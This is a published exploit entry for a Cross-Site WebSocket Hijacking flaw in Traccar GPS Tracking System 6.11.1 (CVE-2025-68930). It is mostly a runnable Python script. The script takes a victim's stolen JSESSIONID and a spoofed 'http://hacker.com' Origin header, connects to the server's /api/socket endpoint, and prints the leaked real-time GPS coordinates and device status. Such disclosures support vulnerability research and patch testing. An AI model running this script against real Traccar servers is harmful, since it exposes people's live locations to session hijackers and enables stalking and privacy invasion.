Traccar GPS Tracking System 6.11.1 Cross-Site WebSocket Hijacking (CSWSH)

# Exploit Title: Traccar GPS Tracking System 6.11.1 - Cross-Site WebSocket Hijacking (CSWSH) # Date: 2026-02-26 # Exploit Author: Hazar Taspinar # Vendor Homepage: https://www.traccar.org/ # Software Link: https://github.com/traccar/traccar # Version: <= 6.11.1 # Tested on: Windows 11 / Linux # CVE: CVE-2025-68930 """ Description: Traccar fails to validate the 'Origin' header in WebSocket connections (/api/socket). An attacker can bypass the Same Origin Policy (SOP) by supplying a malicious Origin header along with a victim's valid JSESSIONID. This allows the attacker to hijack the WebSocket connection and leak real-time sensitive data, including GPS coordinates and device status. Requirements: pip install websocket-client """ import websocket import argparse import sys def on_message(ws, message): print(f"[+] DATA LEAKED: {message}") def on_error(ws, error): print(f"[-] Error: {error}") def on_close(ws, close_status_code, close_msg): print("[-] Connection closed.") def on_open(ws): print("[*] WebSocket Handshake Successful!") print("[*] Connection upgraded. Streaming real-time sensitive data...\n") def main(): parser = argparse.ArgumentParser(description="Traccar CSWSH Exploit - Information Disclosure") parser.add_argument("--target", required=True, help="Target IP address (e.g., 192.168.1.5)") parser.add_argument("--port", default="8082", help="Target Port (default: 8082)") parser.add_argument("--cookie", required=True, help="Valid JSESSIONID (e.g., node0xxxxxxx)") args = parser.parse_args() # Construct the WebSocket URL url = f"ws://{args.target}:{args.port}/api/socket" # Malicious headers triggering the bypass # The 'Origin' header is set to an external domain to demonstrate lack of validation. headers = [ "Origin: http://hacker.com", f"Cookie: JSESSIONID={args.cookie}" ] print(f""" ================================================ TRACCAR GPS TRACKER - CSWSH EXPLOIT Exploit Author: Hazar Taspinar CVE: CVE-2025-68930 Target: {url} ================================================ """) # Initiate WebSocket connection ws = websocket.WebSocketApp(url, on_message=on_message, on_error=on_error, on_close=on_close, on_open=on_open, header=headers) try: ws.run_forever() except KeyboardInterrupt: print("\n[*] Exploit stopped by user.") sys.exit(0) if __name__ == "__main__": main()